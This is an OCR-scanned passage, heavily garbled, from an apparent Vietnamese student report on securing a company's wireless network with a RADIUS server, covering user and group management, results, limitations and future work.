Quan Iy user bao gom céc chire nang chinh nhur sau:

a.Reset password cho user

b.Di chuyén mét tai kKhodn sang noi khdc

c. Thiét Igp theoi gian ding nhdp cho tai khodn

d.Thiét ldp cac thude tinh co ban khac cia user

3.5.2. Quan ly cac groups

a.Chuyén group sang mgt loai group khac

b.Phan quyén user dén mét group trong Active Director

c. Thiét ldp cac thugc tinh bdo mét cho group

d.Céc thiét lgp thugc tinh khac cho group
3.6. KET QUA PAT PUQC

Sau khi phan tich cai dat duoc giai phap bao mat RADIUS
SERVER thi viéc bao mat WLAN tré nén tét hon cho cong ty, chiing
ta c6 thé quan ly cé&c user truy cap mang, va chiing thuc nhiéu AP
mot cach tap trung hon. Chung ta c6 thé két hop nhiéu giai phap bao
mat dé cho viéc bao mat duoc tt hon.



22

KET LUAN

KET QUA PAT PUQC

Véi viéc nghién ciru xay dung hé théng bao mat mang cong ty
sai gon HT phuc vu cho viéc kinh doanh cta cong ty, t6i da c6 duoc
cac kién thuc vé mang WLAN nhu cac uu nhuoc diém, co ché hoat
dong, cac phuong thic tin cong va bao mat WLAN, dong thoi da
xay dung dugc co ché bao mat cho cong ty véi hé théng bao mat cao
la RADIUS SERVER.

Véi sy quan ly truy cap va hé thong mang cua cAc user va
group, hé thdng mang nay da ngan chan duoc cac cuéc xam nhap
Vao mang trai phép cua cac user bang cach thiét lap cac co ché bao
mat cho user d6 nhu 1a chan cac dich vu quan trong va khéng cho
phép céc bat cac tinh ning quan trong nhu remote, ssh... dé cac user
khéng cd nhiéu kha ning dé tan cong vao mang.

Hon nita chding ta c6 thé d& dang chan cac user xam nhap néu
c6 kha nghi 1a dang tin cdng mang bang céch chan truy cap vao
mang. C&c user truy cap duoc dinh thoi gian truy cap va mang hé
thdng, néu ngoai thoi gian thi cac user nay toan bo s& bi chang login,
diéu nay gay nhiéu kho khin cho cac hacker co ¥ dinh tan cong hé
thong mang cua cong ty.

RADIUS c6 phan overhead it hon so véi TACACS vi n6 st du
ng UDP.

Trong phan overhead khdng c6 dia chi dich, port dich nén cac
hacker kho c6 thé tan cong.

RADIUS c¢6 chuirc nang tinh cudc (accounting) mé rong.

RADIUS thuong duoc dungdé tinhcuéc dua trén tai
nguyén da sir dung. Vi du nhu ISP s& tinh cude cho ngudi ding vé
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chi phi két néi.

Ta c6 thé cai dat RADIUS Accounting ma khdng can st dung
RADIUS dé xé4c thyc va cap quyén. Véi chirc ning accounting mo
rong, ta cd thé theo ddi viéc sir dung tai nguyén cua tai khoang trong
subt phién 1am viéc cua tai khoan trong khi dang nhap vao hé thong.

Hé thong nay s& dem lai nhiéu loi ich cho cong ty vé su bao
mat dit liéu ciing nhu sw quan Iy cac tai khoan truy cap vao hé théng,
Va Céc user s& duoc cip phét quyén han tly theo chirc ning ciia user
do.

Phuong phap nay di ap dung vao thuc té rat nhiéu, va rat hiéu
qua trong viéc ngan chan sy xam nhap trai phép. RADIUS SERVER
la giai phap khong thé thiéu cho cac doanh nghiép muén quan Iy tap
trung va tang cuong tinh bao mat cho hé thong.

HAN CHE

Tuy chding ta c6 thé quan ly duoc cac tai khoan truy cap song
ching ta khong thé biét duoc user sir dung c6 ¥ dinh tin cong hé
théng hay khdng, va tin cng bang cach nao.

Hon nita, c6 mot s RADIUS SERVER dugc cac hdng uy tin
thiét ké co tinh niang bao mat rat cao song n6 cé gia thanh qua dat do
va duoc tinh chi phi trén cac user quan ly, néu nhu cac cong ty trung
binh c& tam 25 dén 30 nhan vién thi rat kho dé sir dung hé théng ma
cac hang uy tin thiét két vi chi phi qua dat do.

Cac may mudn truy cap can cai chic ning ctia may client.

Chura trién khai dugc trén h¢ diéu hanh LINUX.

Chua trién khai duoc cho mang khong day dién rong WMAN,
WWAN.

Chua trién khai cho dwdng truyén khong day toc do cao do 1a
cdng nghé WireMAX.
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HUONG MO RONG

Ching ta c6 thé xay dung hé théng RADIUS két hop voi
mang riéng 40 VPN hoac hé thong phét hién xam nhap IPS dé ting
cudng tinh bao mat cho hé thdng WLAN cua cong ty.

Xay dung ¢ng dung trén hé thong WireMax.

Ung dung cdng nghé Smart Card trong viéc bao mat WLAN.

Nghién ctru vé cdng nghé mang wireless dién rong WMAN
(IEEE 802. 16), WWAN (IEEE 802. 20).

Tim hiéu cac yéu cau, md hinh khi thiét ké, trién khai va bao
mat hé théng mang dién rong WMAN, WWAN.

Trién khai va xay dung RADIUS trén hé diéu hanh LINUX.

Nghién ciru xay dyng va phét hién tn cong, xam nhap tir user
dang nhap cua hé thong, tir d6 dé c6 thé dé dang quan Iy hon.



